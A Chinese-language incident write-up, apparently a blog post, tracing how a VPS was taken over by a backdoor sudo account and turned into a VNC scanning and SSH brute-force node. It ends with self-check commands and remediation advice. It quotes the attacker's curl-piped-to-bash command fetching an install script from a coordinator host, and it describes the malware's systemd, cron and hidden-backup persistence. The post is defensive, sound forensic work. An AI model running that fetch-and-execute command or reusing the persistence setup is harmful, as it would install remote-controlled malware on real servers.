VPS 被黑后沦为 VNC 扫描 / 爆破节点：一次排查记录及自查方法

VPS 被黑后沦为 VNC 扫描 / 爆破节点：一次排查记录及自查方法

最近发现一台 VPS 的 CPU 占用异常，使用 htop 检查后，发现多个伪装成 systemd 组件的可疑进程。

进一步排查发现，服务器早在 2026 年 9 月 9 日就已经遭到入侵。攻击者创建了一个名为 systemctl 的账户，赋予 sudo 权限，通过 SSH 登录后安装了一套远程控制程序，将 VPS 变成了 VNC 扫描和密码爆破节点。

更麻烦的是，这套程序配置了 systemd + cron + rc.local + 多处二进制备份，即使杀死进程或删除部分文件，也可能自动恢复。

整理一下这次排查过程，也提醒其他 VPS 用户检查自己的服务器。

一、最初发现：CPU 占用异常

通过 htop 发现多个高 CPU 占用进程：

/var/lib/systemd/catalog/update-helper \

/var/lib/systemd/catalog/.cache/targets.txt \

/var/lib/systemd/catalog/.cache/passwords.txt \

200 3600



    

  

另外还发现：

/var/lib/systemd/catalog/systemd-sync-helper

/var/lib/systemd/catalog/systemd-network-monitor

/var/lib/systemd/catalog/socket-helper



    

  

这些名称看起来像正常系统组件，但并不是标准的 systemd 程序。

检查文件目录：

ls -lah /var/lib/systemd/catalog/

ls -lah /var/lib/systemd/catalog/.cache/



    

  

发现了：

update-helper              2.8M

socket-helper              4.2M

systemd-sync-helper         11M

systemd-network-monitor    7.1M



.cache/targets.txt          37M

.cache/passwords.txt        856B

.cache/agent.log            33M

.cache/found_vnc_passwords.txt

.cache/found_vnc_noauth.txt



    

  

从这些文件名、进程参数及后续连接记录判断，这套程序主要用于 VNC 扫描与密码尝试，同时还包含 SSH 爆破组件。

使用：

ss -tanp



    

  

发现服务器持续对外建立大量 TCP 连接，目标端口包括 5900、5901、5903 等常见 VNC 端口。

例如：

37.27.185.201:5900

65.21.151.28:5900

78.47.46.133:5901

95.216.222.142:5903



    

  

这些 IP 是扫描目标，不一定是攻击者控制的服务器，更不代表这些目标一定存在漏洞。

二、发现远程控制和自动恢复机制

继续检查：

systemctl list-unit-files --all | grep -Ei 'helper|update|sync|monitor'



    

  

发现了两个可疑服务：

systemd-catalog-sync.service

systemd-resolved-monitor.service



    

  

其中主服务配置包含：

[Service]

User=root

ExecStart=/var/lib/systemd/catalog/systemd-sync-helper

Restart=always

RestartSec=3

OOMScoreAdjust=-1000



Environment=COORDINATOR_URL=https://vibepass.us

Environment=BRUTE_BINARY=/var/lib/systemd/catalog/update-helper

Environment=SSH_BRUTE_BINARY=/var/lib/systemd/catalog/socket-helper

Environment=COORDINATOR_TLS_SKIP_VERIFY=1



    

  

其中的 vibepass.us 是这次样本中配置的远程协调服务器地址，不是正常的 systemd 更新地址。

程序还设置了：

• Restart=always：自动重启服务。


• OOMScoreAdjust=-1000：尽量避免被 OOM Killer 终止。


• COORDINATOR_TLS_SKIP_VERIFY=1：跳过协调服务器的 TLS 证书验证。


• 另一套 watchdog：监控、备份并尝试恢复主 Agent。

检查 /etc/cron.d/，还发现一个 sys-warden 文件，配置了开机运行和每 5 分钟检查一次守护程序：

@reboot ...

*/5 * * * * ...



    

  

此外，/etc/rc.local 也被添加了启动命令。

进一步从日志中发现，守护程序还会：

1. 使用 chattr +i 保护自身文件。


2. 在多个隐藏目录保存可执行文件备份。


3. 监控主 Agent 是否存活。


4. 尝试恢复被停止或丢失的组件。

发现的备份路径包括：

/var/lib/systemd/private/.sys

/var/lib/accountsservice/.helper

/usr/local/lib/.sys-monitor

所以，单纯 kill 进程或删除主程序，并不能保证清理干净。

三、通过 SSH 日志追溯到了安装过程

这部分是最关键的发现。

使用：

journalctl -u ssh --since "2026-09-08" \

  --until "2026-09-16" --no-pager \

  | grep -E 'Accepted |session opened'

发现一个从未由我创建过的用户：

systemctl

注意，这里不是 Linux 的 systemctl 命令，而是攻击者使用的 Linux 用户名。

它拥有 sudo 权限：

uid=1000(systemctl)

groups=1000(systemctl),27(sudo)

通过系统日志还原出的时间线如下（服务器时间 EDT）：

时间	事件
09-09 02:37:55	系统收到 SIGINT，进入重启流程
09-09 02:38 左右	账户数据库发生修改
09-09 02:39:16	systemctl 通过本地终端登录
09-09 02:39:44	该账户通过 sudo 编辑 SSH 配置
09-09 02:40:03	从 104.153.208.101 SSH 密码登录成功
09-09 02:40:39	从 45.39.60.60 SSH 密码登录成功
09-09 02:40:40	使用 sudo 下载并执行远程安装脚本
09-09 02:40:50	恶意 watchdog 服务启动
09-09 02:40:56	恶意扫描 Agent 启动
09-09 02:40:57	建立隐藏备份和其他自恢复机制

其中最有说服力的是 sudo 日志，记录了攻击者执行安装脚本的行为。

整理后的关键命令如下（认证信息已隐藏）：

curl -fsSL \

  -H 'Authorization: Bearer [REDACTED]' \

  'https://vibepass.us/files/install.sh' \

  | bash

这说明有人使用 systemctl 账户取得了 root 权限，并直接执行远程下载的脚本。

9 月 15 日，还发现来自 185.255.126.3 的两次 systemctl 密码登录成功记录。

这些 IP 是相关 SSH 登录的来源 IP，不足以直接确认攻击者的真实身份，也不能排除代理或中转服务器。

四、后门账户是什么时候创建的？

通过对比系统保留的账户数据库备份：

diff -u /etc/passwd- /etc/passwd

diff -u /etc/group- /etc/group

发现：

+systemctl:x:1000:1000::/home/systemctl:/bin/sh

以及：

-sudo:x:27:

+sudo:x:27:systemctl

/etc/shadow- 中同样没有这个账户，而当前 /etc/shadow 中存在。

账户数据库的文件修改时间集中在 9 月 9 日 02:38 左右，与系统重启及后续登录高度吻合。

另外，日志显示系统在重启之后，先出现了 systemctl 的本地终端登录，随后才出现 SSH 登录。

因此怀疑攻击者可能利用 VPS 控制台、救援环境或之前取得的管理权限创建账户，但目前还没有证据确定最初的入侵入口。

这里也有一个值得一提的背景：这台 VPS 之前曾经出现过另一个未经授权的账户 userb，当时已经进行过清理，但没有重装系统。

这两次事件是否存在关联，目前不能确认。

五、建议其他 VPS 用户如何自查？

以下命令主要用于检查，不会主动删除文件或停止服务。

1. 检查高 CPU 占用和异常进程

htop



ps auxww --sort=-%cpu | head -30

特别关注运行在 /tmp、/var/tmp、/dev/shm 或不寻常系统数据目录中的未知可执行程序。

2. 检查最近的成功 SSH 登录

last -ai | head -50



journalctl -u ssh --no-pager \

  | grep 'Accepted ' | tail -50

部分系统的服务名为 sshd，也可以直接检查 /var/log/auth.log*。

3. 检查账户和 sudo 权限

awk -F: '$3 >= 1000 && $3 < 65534' /etc/passwd



awk -F: '$3 == 0' /etc/passwd



getent group sudo

检查是否存在自己不认识的用户。注意 UID 大于等于 1000 的账户不一定是恶意账户。

4. 检查 systemd 自定义服务

systemctl list-unit-files --type=service



ls -lah /etc/systemd/system/

对可疑服务可以继续：

systemctl cat suspicious.service

systemctl status suspicious.service

不要仅因为服务名称包含 systemd 就认为它是可信的。

5. 检查定时任务和其他自启动项

crontab -l



ls -lah /etc/cron.d/

ls -lah /etc/cron.hourly/



cat /etc/rc.local 2>/dev/null

还应关注 /etc/crontab、其他用户的 crontab，以及 systemd timers。

6. 检查异常网络连接

ss -tunap

如果 VPS 没有扫描业务，却出现大量对不同外部 IP、不同端口的并发连接，需要进一步排查对应进程。

7. 检查 SSH 的实际配置

sshd -T | grep -Ei \

  'permitrootlogin|passwordauthentication|pubkeyauthentication'

不要只检查 /etc/ssh/sshd_config 中是否注释了某项设置，还需要检查实际生效的配置。

六、处理建议

如果确认服务器已经遭到入侵，尤其是攻击者已经取得 root 权限：

1. 尽快通过服务商防火墙阻断恶意流量。


2. 保留必要的日志、快照和证据。


3. 不要认为删除恶意用户或进程就已经安全。


4. 最好从可信系统镜像重装，只恢复经过检查的业务数据和配置。


5. 轮换 SSH 密钥、密码、应用密钥，以及可能泄露的其他凭据。


6. 尽量使用 SSH 公钥登录，禁用密码认证，并限制 SSH 管理入口。

对于重要服务，建议使用新的 VPS 实例重新部署，而不是继续信任一台已经被 root 权限恶意程序长期控制的系统。

最后

这次比较意外的是，恶意程序并没有使用特别隐蔽的技术，而是利用看起来正常的 systemd 命名、隐藏目录、自动重启、定时任务和备份恢复机制，长期驻留在服务器中。

如果不是因为 CPU 占用异常，可能还不会这么快发现。

目前已经确认了恶意程序的安装过程及多个持久化入口，但最初如何获得服务器管理权限，仍在调查中。

也提醒大家：如果 VPS 曾经被黑过，尤其是对方已经取得 root 权限，只删除一个后门账户可能远远不够。重装系统通常才是更可靠的恢复方式。